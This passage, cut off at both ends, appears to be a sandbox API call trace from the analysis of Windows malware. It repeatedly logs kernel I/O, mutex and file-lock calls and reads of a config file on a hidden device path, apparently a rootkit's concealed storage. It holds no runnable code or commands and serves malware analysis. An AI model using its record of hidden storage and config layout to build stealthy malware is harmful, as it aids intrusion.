_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.720] KeEnterCriticalRegion () [0129.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.720] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.720] IdePortDispatch () returned 0x103 [0129.720] KeWaitForMutexObject () returned 0x0 [0129.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.721] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.721] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.721] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.721] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.721] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.721] KeLeaveCriticalRegion () [0129.721] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.721] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.721] KeEnterCriticalRegion () [0129.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.721] KeLeaveCriticalRegion () [0129.721] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.721] KeEnterCriticalRegion () [0129.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.721] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.721] IdePortDispatch () returned 0x103 [0129.722] KeWaitForMutexObject () returned 0x0 [0129.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.722] KeLeaveCriticalRegion () [0129.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.722] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.722] KeEnterCriticalRegion () [0129.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0129.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.722] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.722] IdePortDispatch () returned 0x103 [0129.722] KeWaitForMutexObject () returned 0x0 [0129.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.722] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.722] IdePortDispatch () returned 0x103 [0129.722] KeWaitForMutexObject () returned 0x0 [0129.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] KeLeaveCriticalRegion () [0129.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.723] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.723] KeEnterCriticalRegion () [0129.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] KeLeaveCriticalRegion () [0129.723] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.723] KeEnterCriticalRegion () [0129.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.723] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c062e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] KeLeaveCriticalRegion () [0129.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.723] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.723] KeEnterCriticalRegion () [0129.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.723] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.724] KeLeaveCriticalRegion () [0129.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.724] ReleaseMutex (hMutex=0xf0) returned 1 [0129.724] Sleep (dwMilliseconds=0x124f80) [0129.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.739] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.739] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.739] KeEnterCriticalRegion () [0129.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.740] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.740] IdePortDispatch () returned 0x103 [0129.740] KeWaitForMutexObject () returned 0x0 [0129.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.740] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.740] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.740] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.740] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.740] KeLeaveCriticalRegion () [0129.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.740] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.740] KeEnterCriticalRegion () [0129.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.740] KeLeaveCriticalRegion () [0129.740] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.740] KeEnterCriticalRegion () [0129.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.740] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.740] IdePortDispatch () returned 0x103 [0129.740] KeWaitForMutexObject () returned 0x0 [0129.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.741] KeLeaveCriticalRegion () [0129.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.741] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.741] KeEnterCriticalRegion () [0129.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.741] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c84000 [0129.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.741] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.741] IdePortDispatch () returned 0x103 [0129.741] KeWaitForMutexObject () returned 0x0 [0129.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.741] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.741] IdePortDispatch () returned 0x103 [0129.741] KeWaitForMutexObject () returned 0x0 [0129.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.741] KeLeaveCriticalRegion () [0129.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.742] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.742] KeEnterCriticalRegion () [0129.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] KeLeaveCriticalRegion () [0129.742] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.742] KeEnterCriticalRegion () [0129.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] KeLeaveCriticalRegion () [0129.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.742] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.742] KeEnterCriticalRegion () [0129.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.742] KeLeaveCriticalRegion () [0129.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.742] ReleaseMutex (hMutex=0xf0) returned 1 [0129.742] Sleep (dwMilliseconds=0x124f80) [0129.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.750] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.750] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.750] KeEnterCriticalRegion () [0129.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.750] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.750] IdePortDispatch () returned 0x103 [0129.750] KeWaitForMutexObject () returned 0x0 [0129.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.751] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.751] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.751] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.751] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.751] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07b20 [0129.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.751] KeLeaveCriticalRegion () [0129.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.751] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.751] KeEnterCriticalRegion () [0129.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.751] KeLeaveCriticalRegion () [0129.751] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.751] KeEnterCriticalRegion () [0129.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.751] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.751] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.751] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.751] IdePortDispatch () returned 0x103 [0129.751] KeWaitForMutexObject () returned 0x0 [0129.751] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.751] KeLeaveCriticalRegion () [0129.751] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.751] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.752] KeEnterCriticalRegion () [0129.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.752] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca3000 [0129.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.752] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.752] IdePortDispatch () returned 0x103 [0129.752] KeWaitForMutexObject () returned 0x0 [0129.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.752] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.752] IdePortDispatch () returned 0x103 [0129.752] KeWaitForMutexObject () returned 0x0 [0129.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.752] KeLeaveCriticalRegion () [0129.752] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.753] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.753] KeEnterCriticalRegion () [0129.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] KeLeaveCriticalRegion () [0129.753] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.753] KeEnterCriticalRegion () [0129.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.753] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07be0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] KeLeaveCriticalRegion () [0129.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.753] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.753] KeEnterCriticalRegion () [0129.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] ExFreePoolWithTag (P=0xfffffa8003c07b20, Tag=0x0) [0129.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.753] KeLeaveCriticalRegion () [0129.753] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.753] ReleaseMutex (hMutex=0xf0) returned 1 [0129.753] Sleep (dwMilliseconds=0x124f80) [0129.765] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.765] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.765] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.765] KeEnterCriticalRegion () [0129.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.765] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.765] IdePortDispatch () returned 0x103 [0129.765] KeWaitForMutexObject () returned 0x0 [0129.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.765] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.765] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.765] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.766] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.766] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06320 [0129.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] KeLeaveCriticalRegion () [0129.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.766] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.766] KeEnterCriticalRegion () [0129.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] KeLeaveCriticalRegion () [0129.766] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.766] KeEnterCriticalRegion () [0129.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 